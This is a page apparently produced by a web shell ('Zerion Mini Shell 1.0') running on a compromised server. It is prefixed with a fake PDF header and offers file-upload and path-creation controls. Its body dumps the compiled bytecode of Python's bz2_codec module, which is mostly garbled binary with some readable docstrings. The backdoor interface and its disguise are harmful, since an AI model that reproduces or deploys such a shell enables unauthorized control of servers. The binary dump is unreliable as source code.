%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.12/encodings/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.12/encodings/__pycache__/bz2_codec.cpython-312.pyc

�

���f����dZddlZddlZdd�Zdd�ZGd�dej
�ZGd�dej�ZGd	�d
ej�ZGd�deej�ZGd
�deej�Z	d�Z
y)aPython 'bz2_codec' Codec - bz2 compression encoding.

This codec de/encodes from bytes to bytes and is therefore usable with
bytes.transform() and bytes.untransform().

Adapted by Raymond Hettinger from zlib_codec.py which was written
by Marc-Andre Lemburg (mal@lemburg.com).
�Nc�P�|dk(sJ�tj|�t|�fS�N�strict)�bz2�compress�len��input�errorss  �*/usr/lib/python3.12/encodings/bz2_codec.py�
bz2_encoder
s(���X�����L�L����U��,�,�c�P�|dk(sJ�tj|�t|�fSr)r�
decompressrr	s  r�
bz2_decoders(���X�����N�N�5�!�3�u�:�.�.rc��eZdZdd�Zdd�Zy)�Codecc��t||�S�N)r
��selfr
rs   r�encodezCodec.encode����%��(�(rc��t||�Sr)rrs   r�decodezCodec.decoderrN�r)�__name__�
__module__�__qualname__rr�rrrrs��)�)rrc�"�eZdZdd�Zdd�Zd�Zy)�IncrementalEncoderc�R�|dk(sJ�||_tj�|_yr)rr�
BZ2Compressor�compressobj�rrs  r�__init__zIncrementalEncoder.__init__s(����!�!�!�����,�,�.��rc��|r8|jj|�}||jj�zS|jj|�Sr)r%r�flush)rr
�final�cs    rrzIncrementalEncoder.encode#sL���� � �)�)�%�0�A��t�'�'�-�-�/�/�/��#�#�,�,�U�3�3rc�6�tj�|_yr)rr$r%�rs r�resetzIncrementalEncoder.reset*s���,�,�.��rNr�F)rrrr'rr.r rrr"r"s��/�
4�/rr"c�"�eZdZdd�Zdd�Zd�Zy)�IncrementalDecoderc�R�|dk(sJ�||_tj�|_yr)rr�BZ2Decompressor�
decompressobjr&s  rr'zIncrementalDecoder.__init__.s(����!�!�!���� �0�0�2��rc�X�	|jj|�S#t$rYywxYw)N�)r4r�EOFError)rr
r*s   rrzIncrementalDecoder.decode3s0��	��%�%�0�0��7�7���	��	�s��	)�)c�6�tj�|_yr)rr3r4r-s rr.zIncrementalDecoder.reset9s�� �0�0�2��rNrr/)rrrr'rr.r rrr1r1-s��3�
�3rr1c��eZdZeZy)�StreamWriterN�rrr�bytes�charbuffertyper rrr:r:<����Nrr:c��eZdZeZy)�StreamReaderNr;r rrr@r@?r>rr@c
�l�tjdtttt
ttd��S)NrF)�namerr�incrementalencoder�incrementaldecoder�streamwriter�streamreader�_is_text_encoding)�codecs�	CodecInfor
rr"r1r:r@r rr�getregentryrJDs-�����
���-�-�!�!��	�	rr)�__doc__rHrr
rrr"r1r:r@rJr rr�<module>rLs}����
�-�/�)�F�L�L�)�/��2�2�/� 
3��2�2�
3��5�&�-�-���5�&�-�-��

r

Zerion Mini Shell 1.0